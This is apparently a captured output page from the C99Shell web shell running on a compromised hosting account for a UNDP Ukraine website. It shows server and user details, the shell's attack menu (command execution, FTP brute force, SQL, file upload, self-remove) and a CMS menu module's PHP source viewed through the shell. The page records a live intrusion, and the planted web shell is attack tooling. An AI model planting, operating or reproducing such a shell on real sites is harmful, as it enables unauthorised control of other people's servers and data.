!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/modules/leftmenu/   drwxr-xr-x
Free 106.2 GB of 200.55 GB (52.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (6.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
class LeftMenu
{
    var 
$UserMode   false;
    var 
$AdminMode  true;
    var 
$SearchMode false;
    var 
$PanelMode  true;
    var 
$AdminAsynchMode true;
    var 
$Table;
    var 
$PagesTable;
    var 
$Directory;
    var 
$ClassName 'LeftMenu';
    var 
$Tree;
    var 
$StandardTree;
    function 
LeftMenu()
    {                
        
$this->Directory dirname(__FILE__);
        
$this->Table = new AMTable2('AMCMS_leftmenu');
        
$this->Table->AddIndexField('item_id');
        
$this->Table->Module($this->ClassName);
        
$this->Table->AddPositionField("item_position");
        
$this->Table->SetParentField('item_parent_id');    
        
$this->Table->CreateTree(0);
        foreach (
$this->Table->tree as $key => $value)
        {
            
$this->Table->tree[$key]["title"] = $value['preffix'].
            
$this->Table->tree[$key]["item_title_".GetParam("DefaultLanguage")];
            
$this->StandardTree[] = $value;
        }            
        
$this->Tree $this->Table->tree;
    }
    function 
Menu()
    {
        global 
$ALANG;
        return array(                
                array(
'title' => $ALANG['MenuMenuItems'], 'link' => '?mod='.$this->ClassName.'&list'),
                array(
'title' => $ALANG['MenuMenuAdd'],   'link' => '?mod='.$this->ClassName.'&add')
                );
    }
    function 
Admin()
    {
        global 
$ALANG$alang;
        
$smarty GetAdminSmarty($this->ClassName);
        
$smarty->assign("module"$this->ClassName);
        
$smarty->assign("table",  $this->Table->TableName);
        if (isset(
$_GET['mod']) && ($_GET['mod'] == $this->ClassName))
        {                          
            
/*if (isset($_GET['UpdateLinks']))
            {
                for ($i = 0; $i < count($this->ItemsTree); $i++)
                {
                    preg_match("/index.php\?page_id=([0-9]{1,9})/", $this->ItemsTree[$i]['item_link'],$mathces);
                    if ($mathces[1] > 0)
                        $this->ItemsTree[$i]['item_link'] = "/pages/p".$mathces[1];
                    preg_match("/index.php\?chapter_id=([0-9]{1,9})/", $this->ItemsTree[$i]['item_link'],$mathces);
                    if ($mathces[1] > 0)
                        $this->ItemsTree[$i]['item_link'] = "/pages/c".$mathces[1];
                    $this->Table->UpdateRecord($this->ItemsTree[$i], array('item_link'), $this->ItemsTree[$i]['item_id']);                    
                }
            }*/      
            
if (isset($_GET['list']))
            {                                            
                
$fields     = array("item_id""title");
                
$captions   = array($ALANG['Menu_item_id'], $ALANG['Menu_item_title']);
                
$order        "item_position ASC";
                
$links         = array("checkbox""delete""edit""up""down");
                
$params     = array("id" => "items""tree" => "item_title_".GetParam("DefaultLanguage"), 
                              
"postfix" => array(
                                       array(
"title" => "создать подпункт""preffix" => "add""class" => "menu-add-item"
                                                         
)));
                
$multiple   = array("delete");
                
$html $this->Table->GetAdminTable($fields$captions$conditions$order$links$multiple$params);
                
$result['Title']     = $ALANG['MenuItems'];
                
$result['Content']  = $html.$smarty->fetch("items-list.tpl");
                return 
$result;
            }
                        
            if (isset(
$_GET['add']))
            {
                if (isset(
$_POST['add']))
                {
                    
$id $this->Table->Insert($_POST);
                    
header("Location: ?mod=".$this->ClassName."&list");
                }                
                  
$smarty->assign('oper''add');
                  
$smarty->assign('items'$this->Tree);
                if (isset(
$_GET['item_id']))
                      
$smarty->assign('item_parent_id'$_GET['item_id']);                
                  
$result['Title']     = $ALANG['MenuAdd'];                
                  
$result['Content']     = $smarty->fetch('item.tpl');
                return 
$result;
            }
            
            if (isset(
$_GET['edit']) && isset($_GET['item_id']))
            {
                if (isset(
$_POST['edit']))
                {
                    
$item_parent_id $_POST['item_parent_id'];
                    
$this->Table->Update($_POST$_GET['item_id']);
                    
header("Location: ?mod=".$this->ClassName."&list");
                }                                            
                if (
$_GET['item_id'] == 1)
                     
header("Location: ?mod=".$this->ClassName."&list");
                
$row $this->Table->GetRowById($_GET['item_id']);
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                  
$smarty->assign($key$value);
                  
$smarty->assign('oper''edit');
                  
$smarty->assign('items'$this->Tree);
                  
$result['Title']     = $ALANG['MenuItemEdit'];
                  
$result['Content']     = $smarty->fetch('item.tpl');
                  return 
$result;                    
            }
            
        }
    }        
    function 
AdminAsynch()
    {
        global 
$alang$ALANG;
        if (isset(
$_GET['items']) && isset($_GET['getadmintable']))
        {
                
$fields     = array("item_id""title");
                
$captions   = array($ALANG['Menu_item_id'], $ALANG['Menu_item_title']);
                
$order        "item_position ASC";
                
$links         = array("checkbox""delete""edit""up""down");
                
$params     = array("id" => "items""tree" => "item_title_".GetParam("DefaultLanguage"), 
                              
"postfix" => array(
                                       array(
"title" => "создать подпункт""preffix" => "add""class" => "menu-add-item"
                                                         
)));
            
$multiple   = array("delete");
            echo 
$this->Table->GetAdminTable($fields$captions$conditions$order$links$multiple$params);
            die;
        }
        
$this->Table->Run($_POST);
    }
    
    
    function 
Panel()
    {
        global 
$ULANG$ulang;
        
$html .= "<ul id=\"{$this->ClassName}Root\" class=\"menulist\">";
        
$ul 1;
        
$li 0;        
        for(
$i 1$i count($this->StandardTree); $i++)
        {
            
$img "";
            
$file "data/leftmenu/{$this->StandardTree[$i]['item_id']}.png";
            
//if (file_exists($file))
            //   $img = "<img src=\"/{$file}\" align=\"absmiddle\" /> ";
            
$link $this->StandardTree[$i]['item_link'];
            if (
strlen(trim($link)) > 0)
                
$html .= "<li><a href=\"".$link."\" target=\"".$this->StandardTree[$i]['item_target']."\">".$img.$this->StandardTree[$i]['item_title_'.$ulang]."</a>";
            else
                
$html .= "<li><a>".$img.$this->StandardTree[$i]['item_title_'.$ulang]."</a>";
            
$li++;
            if (
$i == count($this->StandardTree) - 1)
              continue;
            if (
$this->StandardTree[$i]['depth'] >= $this->StandardTree[$i 1]['depth'])
            {
                
$html .= "</li>";
                
$li--;
            }
            if (
$this->StandardTree[$i]['depth'] < $this->StandardTree[$i 1]['depth'])
            {
                 
$html .= "<ul>";
                 
$ul++;
            }
            for (
$k 0$k $this->StandardTree[$i]['depth'] - $this->StandardTree[$i 1]['depth']; $k ++)
            {
                 
$html .= "</ul></li>";
                 
$ul--;
                 
$li--;
            }  
        }    
        
$html .= "</li></ul>";
        
$result[$this->ClassName] = array(    'Content' => $html,
                                                 
'Title' => "",
                                             
'Module'  => $this->ClassName,
                                          );
        return 
$result;
    }    

$Modules ['LeftMenu'] = new LeftMenu();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0368 ]--